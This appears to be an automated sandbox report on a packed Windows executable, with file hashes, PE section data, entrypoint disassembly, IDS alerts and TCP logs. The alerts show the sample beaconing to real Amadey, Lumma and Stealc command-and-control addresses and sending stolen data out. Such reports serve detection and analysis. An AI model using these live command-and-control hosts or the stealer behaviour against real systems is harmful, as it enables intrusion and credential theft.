Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Reputation:	unknown
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9496890155532585
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'873'920 bytes
MD5:	ae5752fee54caf5584f6eaba06a5ac69
SHA1:	1666ac18e71ec8b5ea5a0ddd00dde2dde9175df9
SHA256:	ec603a0936ee9833a10b2d9ad971eeab730399ea5b713bd6013550057873cbe8
SHA512:	9f757e8c2e7e00e49a395161938a71bf9308b18b6cc2dec5613a72648240f84088936cdc64f134013fdb7e4f6ec040ec081ab7b91e66f297688b56abb399d9be
SSDEEP:	24576:vI7HoMRI1uc22gc2oEUZMrlX6qtwLBT25RHbXTLjQ2UoQLYDYnN3ZHu:AkzSpc2hRlXVMeDMvPnN
TLSH:	878533E8FEA429EACBA043F5C566D2865BE0970946CBC35D0748D2C6D80EF973DD4067
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8a4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F625C7BA7AAh
pcmpeqd mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F625C7BC7A5h
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [ecx], eax
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, 03h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [ecx], eax
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4a2b68	0x10	hukqwfqu
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4a2b18	0x18	hukqwfqu
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	274e2af9fe4da296a2dce45c7e5acf2d	False	0.9982491059264306	data	7.986304987757726	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2a0000	0x200	51fcf95b239ffa1dcb3d1f57ff5c62af	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hukqwfqu	0x30b000	0x198000	0x197c00	0ff49ab0ca506c0c478f33014435726d	False	0.9943376140021459	data	7.952987780684621	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
duyfafyf	0x4a3000	0x1000	0x400	e8dc3f1fd49ff72a35317593967fcd6f	False	0.8193359375	data	6.274599102073565	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a4000	0x3000	0x2200	93ae89d3a10994f4d5cb533e42f6808f	False	0.05755974264705882	DOS executable (COM)	0.6226405521008187	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T12:24:07.030429+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49753	185.215.113.43	80	TCP
2024-11-24T12:24:11.679520+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49765	31.41.244.11	80	TCP
2024-11-24T12:24:21.413134+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49759	TCP
2024-11-24T12:24:22.767878+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49791	185.215.113.43	80	TCP
2024-11-24T12:24:24.244905+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49793	31.41.244.11	80	TCP
2024-11-24T12:24:35.154484+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49819	185.215.113.43	80	TCP
2024-11-24T12:24:36.747500+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49825	31.41.244.11	80	TCP
2024-11-24T12:24:43.304422+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49836	185.215.113.43	80	TCP
2024-11-24T12:24:44.814863+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49842	185.215.113.16	80	TCP
2024-11-24T12:24:50.759684+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49854	34.116.198.130	80	TCP
2024-11-24T12:24:52.586403+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49860	185.215.113.43	80	TCP
2024-11-24T12:24:52.654643+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49863	34.116.198.130	80	TCP
2024-11-24T12:24:53.526124+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49864	104.21.33.116	443	TCP
2024-11-24T12:24:54.199592+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49868	185.215.113.16	80	TCP
2024-11-24T12:24:54.354139+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49864	104.21.33.116	443	TCP
2024-11-24T12:24:54.354139+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49864	104.21.33.116	443	TCP
2024-11-24T12:24:59.004298+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49875	104.21.33.116	443	TCP
2024-11-24T12:24:59.709293+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49875	104.21.33.116	443	TCP
2024-11-24T12:24:59.709293+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49875	104.21.33.116	443	TCP
2024-11-24T12:25:02.940977+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49887	104.21.33.116	443	TCP
2024-11-24T12:25:04.012035+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49887	104.21.33.116	443	TCP
2024-11-24T12:25:07.601743+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49896	104.21.33.116	443	TCP
2024-11-24T12:25:07.980471+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49897	185.215.113.43	80	TCP
2024-11-24T12:25:09.728433+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49902	185.215.113.16	80	TCP
2024-11-24T12:25:11.344744+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49908	104.21.33.116	443	TCP
2024-11-24T12:25:16.014258+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49915	185.215.113.43	80	TCP
2024-11-24T12:25:18.154170+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49930	185.215.113.16	80	TCP
2024-11-24T12:25:21.408404+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	49939	34.116.198.130	80	TCP
2024-11-24T12:25:25.406573+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49945	185.215.113.206	80	TCP
2024-11-24T12:25:26.000644+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49945	185.215.113.206	80	TCP
2024-11-24T12:25:26.259463+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.4	49945	TCP
2024-11-24T12:25:26.596564+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49945	185.215.113.206	80	TCP
2024-11-24T12:25:27.437425+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49952	104.21.33.116	443	TCP
2024-11-24T12:25:27.653202+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.4	49945	TCP
2024-11-24T12:25:29.007850+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49956	185.215.113.43	80	TCP
2024-11-24T12:25:30.246610+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49945	185.215.113.206	80	TCP
2024-11-24T12:25:32.313315+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49945	185.215.113.206	80	TCP
2024-11-24T12:25:37.276037+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49974	104.21.33.116	443	TCP
2024-11-24T12:25:37.928212+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49974	104.21.33.116	443	TCP
2024-11-24T12:25:40.620390+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49980	104.21.33.116	443	TCP
2024-11-24T12:25:41.664086+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49980	104.21.33.116	443	TCP
2024-11-24T12:25:41.664086+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49980	104.21.33.116	443	TCP
2024-11-24T12:25:45.420199+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49994	104.21.33.116	443	TCP
2024-11-24T12:25:46.134960+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49994	104.21.33.116	443	TCP
2024-11-24T12:25:46.134960+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49994	104.21.33.116	443	TCP
2024-11-24T12:25:46.312456+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49996	104.21.33.116	443	TCP
2024-11-24T12:25:47.418549+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49996	104.21.33.116	443	TCP
2024-11-24T12:25:49.213709+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50006	185.215.113.16	80	TCP
2024-11-24T12:25:52.172901+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50035	104.21.33.116	443	TCP
2024-11-24T12:25:56.389507+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50052	104.21.33.116	443	TCP
2024-11-24T12:25:59.267150+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50059	104.21.33.116	443	TCP
2024-11-24T12:26:01.857292+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50066	104.21.33.116	443	TCP
2024-11-24T12:26:06.288010+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50081	104.21.33.116	443	TCP
2024-11-24T12:26:06.340210+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50081	104.21.33.116	443	TCP
2024-11-24T12:26:08.719876+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50091	104.21.33.116	443	TCP
2024-11-24T12:26:09.444454+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50091	104.21.33.116	443	TCP
2024-11-24T12:26:11.407943+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50101	185.215.113.16	80	TCP
2024-11-24T12:26:33.616907+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50168	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 12:24:05.512588978 CET	49753	80	192.168.2.4	185.215.113.43
Nov 24, 2024 12:24:05.632345915 CET	80	49753	185.215.113.43	192.168.2.4
Nov 24, 2024 12:24:05.632471085 CET	49753	80	192.168.2.4	185.215.113.43
Nov 24, 2024 12:24:05.632623911 CET	49753	80	192.168.2.4	185.215.113.43
Nov 24, 2024 12:24:05.752130032 CET	80	49753	185.215.113.43	192.168.2.4
Nov 24, 2024 12:24:07.029761076 CET	80	49753	185.215.113.43	192.168.2.4
Nov 24, 2024 12:24:07.030428886 CET	49753	80	192.168.2.4	185.215.113.43
Nov 24, 2024 12:24:08.538330078 CET	49753	80	192.168.2.4	185.215.113.43
Nov 24, 2024 12:24:08.538598061 CET	49759	80	192.168.2.4	185.215.113.43
Nov 24, 2024 12:24:08.658207893 CET	80	49759	185.215.113.43	192.168.2.4
Nov 24, 2024 12:24:08.658312082 CET	49759	80	192.168.2.4	185.215.113.43
Nov 24, 2024 12:24:08.658375978 CET	80	49753	185.215.113.43	192.168.2.4
Nov 24, 2024 12:24:08.658457041 CET	49753	80	192.168.2.4	185.215.113.43
Nov 24, 2024 12:24:08.658545971 CET	49759	80	192.168.2.4	185.215.113.43
Nov 24, 2024 12:24:08.778053045 CET	80	49759	185.215.113.43	192.168.2.4
Nov 24, 2024 12:24:10.115921021 CET	80	49759	185.215.113.43	192.168.2.4
Nov 24, 2024 12:24:10.118443012 CET	49759	80	192.168.2.4	185.215.113.43
Nov 24, 2024 12:24:10.122406960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:10.242225885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:10.242470026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:10.242563963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:10.362235069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.679292917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.679442883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.679476023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.679519892 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.679521084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.679529905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.679569006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.679591894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.679603100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.679629087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.679676056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.679708958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.679712057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.679728985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.679748058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.679774046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.679784060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.679837942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.799438953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.799546003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.799748898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.803596973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.806600094 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.881390095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.881535053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.881633997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.885499954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.885787964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.886060953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.893821955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.894581079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.896923065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.897046089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.897272110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.905441999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.905536890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.905637980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.914020061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.914118052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.914465904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.922218084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.922310114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.922525883 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.930810928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.930864096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.931076050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.939258099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.939353943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.939553976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.946659088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.946748018 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.946841002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.954324007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.954463959 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.954536915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:11.962148905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.962205887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:11.962388992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.002266884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.002696991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.089417934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.089473963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.089679003 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.091694117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.091803074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.091871023 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:12.096568108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.096659899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:12.096724987 CET	49765	80	192.168.2.4	31.41.244.11
